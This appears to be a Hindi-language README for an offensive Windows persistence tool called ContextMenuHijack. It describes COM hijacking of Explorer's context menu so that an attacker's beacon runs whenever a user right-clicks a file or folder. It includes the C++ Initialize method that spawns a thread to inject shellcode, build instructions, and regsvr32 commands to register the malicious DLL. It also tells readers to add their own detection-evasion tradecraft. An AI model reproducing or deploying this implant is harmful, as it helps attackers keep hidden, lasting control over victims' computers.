
एक्सप्लोरर मेनू में किसी फ़ाइल/फ़ोल्डर पर प्रत्येक राइट क्लिक पर पेलोड निष्पादित करें, स्थायित्व के लिए।
यह मूल विचार जिसने मुझे प्रेरित किया, वह @NinjaParanoid से है:
ContextMenuHijack एक सरल पर्सिस्टेंस तकनीक है जो मानव व्यवहार पर आधारित COM हाइजैकिंग का उपयोग करती है। जब आप फ़ाइल एक्सप्लोरर में किसी फ़ाइल/फ़ोल्डर पर राइट-क्लिक करके कॉन्टेक्स्ट मेनू खोलते हैं, तो यह उसी समय हमारे द्वारा निर्दिष्ट बीकन को निष्पादित करती है।
IFACEMETHODIMP FileContextMenuExt::Initialize( LPCITEMIDLIST pidlFolder, LPDATAOBJECT pDataObj, HKEY hKeyProgID ) {
DWORD tid = NULL;
CreateThread(NULL, 1024 * 1024, (LPTHREAD_START_ROUTINE)InjectShc, NULL, 0, &tid);
if (NULL == pDataObj) {
if (pidlFolder != NULL) {
}
return S_OK;
}
return S_OK;
}
आपको बस सोल्यूशन फ़ाइल (.sln) लोड करनी है और इसे बिल्ड करना है। यह जानना महत्वपूर्ण है कि इस पर्सिस्टेंस तकनीक का उपयोग करने के लिए आपको एडमिनिस्ट्रेटर विशेषाधिकारों की आवश्यकता होती है। यह सब करने के बाद, आपको बस DLL फ़ाइल को regsvr32 के साथ रजिस्ट्री में पंजीकृत करना है:
regsvr32 "C:\path\to\ContextMenuHijack.dll"
यदि आप इसे अनइंस्टॉल करना चाहते हैं तो बस
/uफ़्लैग का उपयोग करें
regsvr32 /u "C:\path\to\ContextMenuHijack.dll"

explorer.exe के थ्रेड स्टैक से आसानी से पहचानी जा सकती है, अपनी खुद की एवेज़न ट्रेडक्राफ्ट का उपयोग करना आप पर निर्भर है
